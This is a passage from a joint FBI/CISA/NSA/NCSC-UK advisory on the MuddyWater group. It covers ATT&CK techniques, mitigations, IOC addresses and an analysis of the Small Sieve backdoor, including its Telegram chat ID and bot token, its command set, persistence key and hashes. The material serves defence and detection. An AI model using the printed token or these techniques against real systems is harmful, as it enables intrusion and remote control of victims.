has added Registry Run key `KCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\SystemTextEncoding` to establish persistence. \n**Privilege Escalation** \nAbuse Elevation Control Mechanism: Bypass User Account Control | [T1548.002](<https://attack.mitre.org/versions/v10/techniques/T1548/002/>) | MuddyWater uses various techniques to bypass user account control. \nCredentials from Password Stores | [T1555](<https://attack.mitre.org/versions/v10/techniques/T1555>) | MuddyWater has performed credential dumping with LaZagne and other tools, including by dumping passwords saved in victim email. \nCredentials from Web Browsers | \n\n[T1555.003](<https://attack.mitre.org/versions/v10/techniques/T1055/003>)\n\n| MuddyWater has run tools including Browser64 to steal passwords saved in victim web browsers. \n**Defense Evasion** \nObfuscated Files or Information | [T1027](<https://attack.mitre.org/versions/v10/techniques/T1027>) | MuddyWater has used Daniel Bohannon\u2019s Invoke-Obfuscation framework and obfuscated PowerShell scripts. The group has also used other obfuscation methods, including Base64 obfuscation of VBScripts and PowerShell commands. \nSteganography | [T1027.003](<https://attack.mitre.org/versions/v10/techniques/T1027/003>) | MuddyWater has stored obfuscated JavaScript code in an image file named `temp.jpg`. \nCompile After Delivery | [T1027.004](<https://attack.mitre.org/versions/v10/techniques/T1027/004>) | MuddyWater has used the` .NET` `csc.exe` tool to compile executables from downloaded C# code. \nMasquerading: Match Legitimate Name or Location | [T1036.005](<https://attack.mitre.org/versions/v10/techniques/T1036/005>) | MuddyWater has disguised malicious executables and used filenames and Registry key names associated with Windows Defender. E.g., Small Sieve uses variations of Microsoft (Microsift) and Outlook in its filenames to attempt to avoid detection during casual inspection. \nDeobfuscate/Decode Files or Information | \n\n[T1140](<https://attack.mitre.org/versions/v10/techniques/T1140>)\n\n| MuddyWater decoded Base64-encoded PowerShell commands using a VBS file. \nSigned Binary Proxy Execution: CMSTP | \n\n[T1218.003](<https://attack.mitre.org/versions/v10/techniques/T1218/003>)\n\n| MuddyWater has used `CMSTP.exe` and a malicious `.INF` file to execute its POWERSTATS payload. \nSigned Binary Proxy Execution: Mshta | [T1218.005](<https://attack.mitre.org/versions/v10/techniques/T1218/005>) | MuddyWater has used `mshta.exe` to execute its POWERSTATS payload and to pass a PowerShell one-liner for execution. \nSigned Binary Proxy Execution: Rundll32 | [T1218.011](<https://attack.mitre.org/versions/v10/techniques/T1218/011>) | MuddyWater has used malware that leveraged `rundll32.exe` in a Registry Run key to execute a `.dll`. \nExecution Guardrails | [T1480](<https://attack.mitre.org/versions/v10/techniques/T1480/>) | The Small Sieve payload used by MuddyWater will only execute correctly if the word \u201cPlatypus\u201d is passed to it on the command line. \nImpair Defenses: Disable or Modify Tools | [T1562.001](<https://attack.mitre.org/versions/v10/techniques/T1562/001>) | MuddyWater can disable the system's local proxy settings. \n**Credential Access** \nOS Credential Dumping: LSASS Memory | [T1003.001](<https://attack.mitre.org/versions/v10/techniques/T1003/001>) | MuddyWater has performed credential dumping with Mimikatz and `procdump64.exe`. \nOS Credential Dumping: LSA Secrets | \n\n[T1003.004](<https://attack.mitre.org/versions/v10/techniques/T1003/004>)\n\n| MuddyWater has performed credential dumping with LaZagne. \nOS Credential Dumping: Cached Domain Credentials | [T1003.005](<https://attack.mitre.org/versions/v10/techniques/T1003/005>) | MuddyWater has performed credential dumping with LaZagne. \nUnsecured Credentials: Credentials In Files | \n\n[T1552.001](<https://attack.mitre.org/versions/v10/techniques/T1552/001>)\n\n| MuddyWater has run a tool that steals passwords saved in victim email. \n**Discovery** \nSystem Network Configuration Discovery | [T1016](<https://attack.mitre.org/versions/v10/techniques/T1016>) | MuddyWater has used malware to collect the victim\u2019s IP address and domain name. \nSystem Owner/User Discovery | [T1033](<https://attack.mitre.org/versions/v10/techniques/T1033>) | MuddyWater has used malware that can collect the victim\u2019s username. \nSystem Network Connections Discovery | [T1049](<https://attack.mitre.org/versions/v10/techniques/T1049>) | MuddyWater has used a PowerShell backdoor to check for Skype connections on the target machine. \nProcess Discovery | [T1057](<https://attack.mitre.org/versions/v10/techniques/T1057>) | MuddyWater has used malware to obtain a list of running processes on the system. \nSystem Information Discovery | \n\n[T1082](<https://attack.mitre.org/versions/v10/techniques/T1082>)\n\n| MuddyWater has used malware that can collect the victim\u2019s OS version and machine name. \nFile and Directory Discovery | [T1083](<https://attack.mitre.org/versions/v10/techniques/T1083>) | MuddyWater has used malware that checked if the ProgramData folder had folders or files with the keywords \"Kasper,\" \"Panda,\" or \"ESET.\" \nAccount Discovery: Domain Account | [T1087.002](<https://attack.mitre.org/versions/v10/techniques/T1087/002/>) | MuddyWater has used `cmd.exe` net user/domain to enumerate domain users. \nSoftware Discovery | [T1518](<https://attack.mitre.org/versions/v10/techniques/T1518>) | MuddyWater has used a PowerShell backdoor to check for Skype connectivity on the target machine. \nSecurity Software Discovery | [T1518.001](<https://attack.mitre.org/versions/v10/techniques/T1518/001>) | MuddyWater has used malware to check running processes against a hard-coded list of security tools often used by malware researchers. \n**Collection** \nScreen Capture | [T1113](<https://attack.mitre.org/versions/v10/techniques/T1113>) | MuddyWater has used malware that can capture screenshots of the victim\u2019s machine. \n \nArchive Collected Data: Archive via Utility\n\n| [T1560.001](<https://attack.mitre.org/versions/v10/techniques/T1560/001/>) | MuddyWater has used the native Windows cabinet creation tool, `makecab.exe`, likely to compress stolen data to be uploaded. \n**Command and Control** \nApplication Layer Protocol: Web Protocols | [T1071.001](<https://attack.mitre.org/versions/v10/techniques/T1071/001/>) | MuddyWater has used HTTP for C2 communications. e.g., Small Sieve beacons and tasking are performed using the Telegram API over HTTPS. \nProxy: External Proxy | [T1090.002](<https://attack.mitre.org/versions/v10/techniques/T1090/002>) | \n\nMuddyWater has controlled POWERSTATS from behind a proxy network to obfuscate the C2 location. \n\nMuddyWater has used a series of compromised websites that victims connected to randomly to relay information to C2. \n \nWeb Service: Bidirectional Communication | [T1102.002](<https://attack.mitre.org/versions/v10/techniques/T1102/002>) | MuddyWater has used web services including OneHub to distribute remote access tools. \nMulti-Stage Channels | [T1104](<https://attack.mitre.org/versions/v10/techniques/T1104>) | MuddyWater has used one C2 to obtain enumeration scripts and monitor web logs, but a different C2 to send data back. \nIngress Tool Transfer | [T1105](<https://attack.mitre.org/versions/v10/techniques/T1105>) | MuddyWater has used malware that can upload additional files to the victim\u2019s machine. \nData Encoding: Standard Encoding | [T1132.001](<https://attack.mitre.org/versions/v10/techniques/T1132/001/>) | MuddyWater has used tools to encode C2 communications including Base64 encoding. \nData Encoding: Non-Standard Encoding | [T1132.002](<https://attack.mitre.org/versions/v10/techniques/T1132/002/>) | MuddyWater uses tools such as Small Sieve, which employs a custom hex byte swapping encoding scheme to obfuscate tasking traffic. \nRemote Access Software | [T1219](<https://attack.mitre.org/versions/v10/techniques/T1219>) | MuddyWater has used a legitimate application, ScreenConnect, to manage systems remotely and move laterally. \n**Exfiltration** \nExfiltration Over C2 Channel | [T1041](<https://attack.mitre.org/versions/v10/techniques/T1041>) | MuddyWater has used C2 infrastructure to receive exfiltrated data. \n \n### Mitigations\n\n#### Protective Controls and Architecture\n\n * **Deploy application control software to limit the applications and executable code that can be run by users. **Email attachments and files downloaded via links in emails often contain executable code. \n\n#### Identity and Access Management\n\n * **Use multifactor authentication where possible,** particularly for webmail, virtual private networks, and accounts that access critical systems. \n * **Limit the use of administrator privileges.** Users who browse the internet, use email, and execute code with administrator privileges make for excellent spearphishing targets because their system\u2014once infected\u2014enables attackers to move laterally across the network, gain additional accesses, and access highly sensitive information. \n\n#### Phishing Protection\n\n * **Enable antivirus and anti-malware software and update signature definitions in a timely manner.** Well-maintained antivirus software may prevent use of commonly deployed attacker tools that are delivered via spearphishing. \n * **Be suspicious of unsolicited contact via email or social media from any individual you do not know personally.** Do not click on hyperlinks or open attachments in these communications.\n * **Consider adding an email banner to emails received from outside your organization and disabling hyperlinks in received emails.**\n * **Train users through awareness and simulations to recognize and report phishing and social engineering attempts.** Identify and suspend access of user accounts exhibiting unusual activity.\n * **Adopt threat reputation services at the network device, operating system, application, and email service levels. **Reputation services can be used to detect or prevent low-reputation email addresses, files, URLs, and IP addresses used in spearphishing attacks. \n\n#### Vulnerability and Configuration Management\n\n * **Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. **Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).\n\n### Additional Resources\n\n * For more information on Iranian government-sponsored malicious cyber activity, see [CISA's webpage \u2013 Iran Cyber Threat Overview and Advisories](<https://www.us-cert.cisa.gov/iran>) and [CNMF's press release \u2013 Iranian intel cyber suite of malware uses open source tools](<https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/>). \n * For information and resources on protecting against and responding to ransomware, refer to [StopRansomware.gov](<https://www.cisa.gov/stopransomware/>), a centralized, whole-of-government webpage providing ransomware resources and alerts.\n * The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf>) provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.\n * CISA offers a range of no-cost [cyber hygiene services](<https://www.cisa.gov/cyber-hygiene-services>) to help critical infrastructure organizations assess, identify, and reduce their exposure to threats, including ransomware. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.\n * The U.S. Department of State\u2019s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the [RFJ](<https://rewardsforjustice.net/rewards/foreign-malicious-cyber-activity-against-u-s-critical-infrastructure/>) website for more information and how to report information securely.\n\n### References\n\n[[1] CNMF Article: Iranian Intel Cyber Suite of Malware Uses Open Source Tools](<https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/>) \n[[2] MITRE ATT&CK: MuddyWater ](<https://attack.mitre.org/versions/v10/groups/G0069/>)\n\n### Caveats\n\nThe information you have accessed or received is being provided \u201cas is\u201d for informational purposes only. The FBI, CISA, CNMF, and NSA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the FBI, CISA, CNMF, or NSA.\n\n### Purpose\n\nThis document was developed by the FBI, CISA, CNMF, NCSC-UK, and NSA in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. The United States\u2019 NSA agrees with this attribution and the details provided in this report.\n\n### Appendix A: IOCs\n\nThe following IP addresses are associated with MuddyWater activity:\n\n`5.199.133[.]149 \n45.142.213[.]17 \n45.142.212[.]61 \n45.153.231[.]104 \n46.166.129[.]159 \n80.85.158[.]49 \n87.236.212[.]22 \n88.119.170[.]124 \n88.119.171[.]213 \n89.163.252[.]232 \n95.181.161[.]49 \n95.181.161[.]50 \n164.132.237[.]65 \n185.25.51[.]108 \n185.45.192[.]228 \n185.117.75[.]34 \n185.118.164[.]21 \n185.141.27[.]143 \n185.141.27[.]248 \n185.183.96[.]7 \n185.183.96[.]44 \n192.210.191[.]188 \n192.210.226[.]128`\n\n### Appendix B: Small Sieve\n\n**Note:** the information contained in this appendix is from NCSC-UK analysis of a Small Sieve sample.\n\n#### **Metadata**\n\n_Table 2: Gram.app.exe Metadata_\n\nFilename | gram_app.exe** ** \n---|--- \n**Description** | NSIS installer that installs and runs the index.exe backdoor and adds a persistence registry key \n**Size** | 16999598 bytes \n**MD5** | 15fa3b32539d7453a9a85958b77d4c95 \n**SHA-1** | 11d594f3b3cf8525682f6214acb7b7782056d282 \n**SHA-256** | b75208393fa17c0bcbc1a07857686b8c0d7e0471d00a167a07fd0d52e1fc9054 \n**Compile Time** | 2021-09-25 21:57:46 UTC \n \n_Table 3: Index.exe Metadata_\n\nFilename | index.exe \n---|--- \n**Description** | The final PyInstaller-bundled Python 3.9 backdoor \n**Size** | 17263089 bytes \n**MD5** | 5763530f25ed0ec08fb26a30c04009f1 \n**SHA-1** | 2a6ddf89a8366a262b56a251b00aafaed5321992 \n**SHA-256** | bf090cf7078414c9e157da7002ca727f06053b39fa4e377f9a0050f2af37d3a2 \n**Compile Time** | 2021-08-01 04:39:46 UTC \n \n#### \n\n#### **Functionality **\n\n##### **_Installation _**\n\nSmall Sieve is distributed as a large (16MB) NSIS installer named `gram_app.exe`, which does not appear to masquerade as a legitimate application. Once executed, the backdoor binary `index.exe` is installed in the user\u2019s `AppData/Roaming` directory and is added as a Run key in the registry to enabled persistence after reboot. \n\nThe installer then executes the backdoor with the \u201cPlatypus\u201d argument [[T1480](<https://attack.mitre.org/versions/v10/techniques/T1480/>)], which is also present in the registry persistence key: `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\OutlookMicrosift`. \n\n##### **_Configuration _**\n\nThe backdoor attempts to restore previously initialized session data from `%LocalAppData%\\MicrosoftWindowsOutlookDataPlus.txt`. \n\nIf this file does not exist, then it uses the hardcoded values listed in table 4:\n\n_Table 4: Credentials and Session Values_\n\nField | **Value** | **Description** \n---|---|--- \nChat ID | 2090761833 | This is the Telegram Channel ID that beacons are sent to, and, from which, tasking requests are received. Tasking requests are dropped if they do not come from this channel. This value cannot be changed. \nBot ID | Random value between 10,000,000 and 90,000,000 | This is a bot identifier generated at startup that is sent to the C2 in the initial beacon. Commands must be prefixed with `/com[Bot ID]` in order to be processed by the malware. \nTelegram Token | 2003026094: AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY | This is the initial token used to authenticate each message to the Telegram Bot API. \n \n#### \n\n#### **Tasking **\n\nSmall Sieve beacons via the Telegram Bot API, sending the configured Bot ID, the currently logged-in user, and the host\u2019s IP address, as described in the Communications (Beacon format) section below. It then waits for tasking as a Telegram bot using the** python-telegram-bot** module. \n\nTwo task formats are supported: \n\n * `/start `\u2013 no argument is passed; this causes the beacon information to be repeated. \n * `/com[BotID] [command]` \u2013 for issuing commands passed in the argument. \n\nThe following commands are supported by the second of these formats, as described in table 5: \n\n_Table 5: Supported Commands_\n\nCommand | Description \n---|--- \ndelete | This command causes the backdoor to exit; it does not remove persistence. \ndownload **url\u201d\u201dfilename** | The URL will be fetched and saved to the provided filename using the Python urllib module `urlretrieve` function. \nchange token**\u201d\u201dnewtoken** | The backdoor will reconnect to the Telegram Bot API using the provided token `newtoken`. This updated token will be stored in the encoded `MicrosoftWindowsOutlookDataPlus.txt` file. \ndisconnect | The original connection to Telegram is terminated. It is likely used after a `change token` command is issued. \n \nAny commands other than those detailed in table 5 are executed directly by passing them to `cmd.exe /c`, and the output is returned as a reply.\n\n#### **Defense Evasion **\n\n##### **_Anti-Sandbox _**\n\n##### ![](image/png;base64,iVBORw0KGgoAAAANSUhEUgAAApUAAACtCAYAAADh54ROAAAgAElEQVR4AezdB5hlRbU2YK5e9QZ/s16vWa8555wTiohIMpARRVBQjKgo5ggYEEVQECUrIkjOTGByzjnnnCNT//NWs5qazemenqEnUut5Zk6fs/eu8NUKX62qvfdeKaU0ffr0dMEFF6QZM2b4WmU3RWDNmjWpV69eacWKFbtpD2qzKwIVgYpARaAiUBHYXRHYS8Pnzp1bSeXuOoJFuxcvXpx69uyZNm3aVPxa/6wIVAQqAhWBikBFoCKw/RHYa/To0ZmInH/++Tljuf2rrDVsLwQmT56cRowYsb2Kr+VWBCoCFYGKQEWgIlAR6BCBvS688MLk39VXX52WLl3a4Yn1wK6PwIQJE5Il8CoVgYpARaAiUBGoCFQEdjQCey1YsCDNnz8/LVy4MF122WXp8MMPT4ceemj9t5thcNhhh6W99947HXzwwXXsdrOxq/ZW/U3VgaoDVQeqDuxOOoArnnPOOffjrHlPZfz6la98Je211171X8Wg6kDVgaoDVQeqDlQdqDpQdaBDHdhvv/2CPrZ/bkYqTzzxxHTKKaek8ePH138Vg6oDVQeqDlQdqDpQdaDqQNWB++nA2WefnQ444IB2Mhl/bEYqjz/++HTWWWfFsfpZEagIVAQqAhWBikBFoCJQEdgMgeuuuy7tv//+m/3my2ak8oQTTkhnnHHG/U6qP1QEKgIVgYpARaAiUBGoCFQEIPCPf/yjksqqChWBikBFoCJQEagIVAQqAg8MgUoqHxh+9eqKQEWgIlARqAhUBCoCFYGaqaw6UBGoCFQEKgIVgYpARaAi0B0I1Exld6BYy6gIVAQqAhWBikBFoCLwIEegksoHuQLU7lcEKgIVgYpARaAiUBHoDgQqqewOFGsZFYGKQEWgIlARqAhUBB7kCFRS+SBXgNr9ikBFoCJQEagIVAQqAt2BQCWV3YFiLaMiUBGoCFQEKgIVgYrAgxyBSiof5ApQu18RqAhUBCoCFYGKQEWgOxCopLI7UKxlVAQqAhWBikBFoCJQEXiQI1BJ5YNcAWr3KwIVgYpARaAiUBGoCHQHApVUdgeKtYyKQEWgIlARqAhUBCoCD3IEKql8kCtA7X5FoCJQEagIVAQqAhWB7kCgksruQLGWURGoCFQEKgIVgYpAReBBjkAllQ9yBajdrwhUBCoCFYGKQEWgItAdCFRS2R0o1jIqAhWBikBFoCJQEagIPMgRqKTyQa4AtfsVgYpARaAiUBGoCFQEugOBbieVEydOTF/+8pfTe97znvTmN7857bfffunss89Oa9as6Y72dljGqFGj0kc/+tE0ePDgdM8996STTjopnXPOOR2ev3HjxvT3v/89HXDAAelNb3pT/vf5z38+Xx8XzZs3L3384x/P58Vve8LnNddck4466qg0ZcqUPaE729yHRYsWpW9+85vpLW95Sx7nadOmbXNZe9KF7Ofmm29Ot99+e+7WunXr0pe+9KX0rW99a0/qZqd9YRv7779/6t27d6fndXbw6quvTp/4xCfS1KlT04YNGzr1SUOHDs31DRs2rLMid+ixH/3oR+mEE05IK1eu3KH11so6RuDuu+9Ohx122GZxqjz75z//efriF7+Y9W3OnDnpgx/8YLrjjjvKU+rfDwABvvHWW29Nt912W1q/fn3Lkk4//fRs69vKefjbf/3rX6lHjx65fL4ID7nrrrta1rer/ditpHL06NHpBS94QXr2s5+dPvOZz6Rvf/vbmVQ+/vGPTwcffHBau3btdus/Y3vMYx6TB9zAv/GNb8yBsFWFCOWPf/zj9KQnPSm9733vS1/5ylcSQvmyl70st/3KK6/Ml82ePTu9613vShdeeGGrYnbb35D85z3veWnEiBG7bR+6o+GXX355+u///u9MljiJpUuXdkexu30ZnNree++dfvrTn+a++H7EEUek448/frfvW1c7YJL66Ec/Ov3zn//s6iX3O+/SSy9N7373u5OJtgDTmU8S+NXXq1ev+5Wzs37gFw855JC0fPnyndWEWm8DAQmBZz3rWTnONQ7lr+xUMoe+zZw5M73yla9M119/fatT62/bgIDJIaKOP3QkeM+hhx6aVq1a1dEpnf5uMvC2t70tnX/++fm8kSNHpqc85Snpb3/7W6fX7SoHu5VUfu5zn0vPeMYz0oQJE3K2UCcFJBnDhz70oe0gIWv+cVb9+/fPjhSQZOHChZmh9+3bNy1evHgznGSW/I6xDxgwIPke0q9fv/T0pz893XnnnblumVJZqFZikB75yEfmjGrMNjZt2pRmzZqVXvziF2dD1DYKNGTIkBRti7LMHMwiZDHmz5+ff0Zkx40bl7MScZ5PZaivzILpe8+ePXMZDL8z0abASh8F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